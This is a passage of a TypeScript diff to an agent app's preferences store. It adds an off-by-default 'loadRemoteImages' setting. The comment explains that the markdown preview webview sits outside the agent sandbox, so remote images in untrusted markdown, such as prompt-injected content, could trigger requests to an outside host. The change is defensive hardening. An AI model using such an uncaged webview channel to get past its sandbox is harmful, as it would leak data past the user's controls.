"queueMinIntervalMs"; const LS_SHORTCUTS = "shortcutBindings"; @@ -357,6 +358,14 @@ interface PrefsState { * signal stuck, so TerminalPane has an absolute ceiling that force-clears * a stale "working" state regardless of sender signals. */ workingIndicator: boolean; + /** Gates remote (http/https) images in the markdown preview. OFF by + * default: the webview sits outside the seatbelt + CONNECT proxy cage, + * so an `` fires an unprompted GET to whatever + * host untrusted markdown names (prompt injection, a dependency's + * README, a contributor's fork) — see docs/sandbox.md, "Known gap: the + * webview is outside the cage". A per-document affordance in the + * preview can unblock a single file without flipping this pref. */ + loadRemoteImages: boolean; /** Default for the NewTaskDialog's Sandbox toggle when neither * the project's `default_sandbox` nor an explicit user pick is in * effect. Lets a single-keystroke toggle apply across all projects @@ -489,6 +498,7 @@ interface PrefsState { setCompletionSoundId: (id: CompletionSoundId) => void; setSettledHighlight: (v: boolean) => void; setWorkingIndicator: (v: boolean) => void; + setLoadRemoteImages: (v: boolean) => void; setGlobalDefaultSandbox: (v: boolean) => void; setSandboxBypassPermissions: (v: boolean) => void; setAllowScope: (s: "agent" | "project" | "repo") => void; @@ -592,6 +602,9 @@ const initialSettledHighlight = lsGetBool(LS_SETTLED_HIGHLIGHT, true); // OFF by default — experimental re-introduction of the work-in-progress // spinner. Opt in via Settings → General. const initialWorkingIndicator = lsGetBool(LS_WORKING_INDICATOR, false); +// OFF by default (issue #69): closing the remote-image sandbox gap must not +// silently start firing image requests for existing users. +const initialLoadRemoteImages = lsGetBool(LS_LOAD_REMOTE_IMAGES, false); const initialDefaultSandbox = lsGetBool(LS_DEFAULT_SANDBOX, false); // ON by default — sandboxed agents bypass their own permission prompts // because the seatbelt is the real boundary. Users can opt out. @@ -623,6 +636,7 @@ export const usePrefs = create(set => ({ completionSoundId: initialCompletionSoundId, settledHighlight: initialSettledHighlight, workingIndicator: initialWorkingIndicator, + loadRemoteImages: initialLoadRemoteImages, globalDefaultSandbox: initialDefaultSandbox, sandboxBypassPermissions: initialSandboxBypass, allowScope: initialAllowScope, @@ -770,6 +784,10 @@ export const usePrefs = create(set => ({ try { localStorage.setItem(LS_WORKING_INDICATOR, v ? "1" : "0"); } catch {} set({ workingIndicator: v }); }, + setLoadRemoteImages: (v) => { + try { localStorage.setItem(LS_LOAD_REMOTE_IMAGES, v ? "1" : "0"); } catch {} + set({ loadRemoteImages: v }); + }, setGlobalDefaultSandbox: (v) => { try { localStorage.setItem(LS_DEFAULT_SANDBOX, v ? "1" : "0"); } catch {} set({ globalDefaultSandbox: v });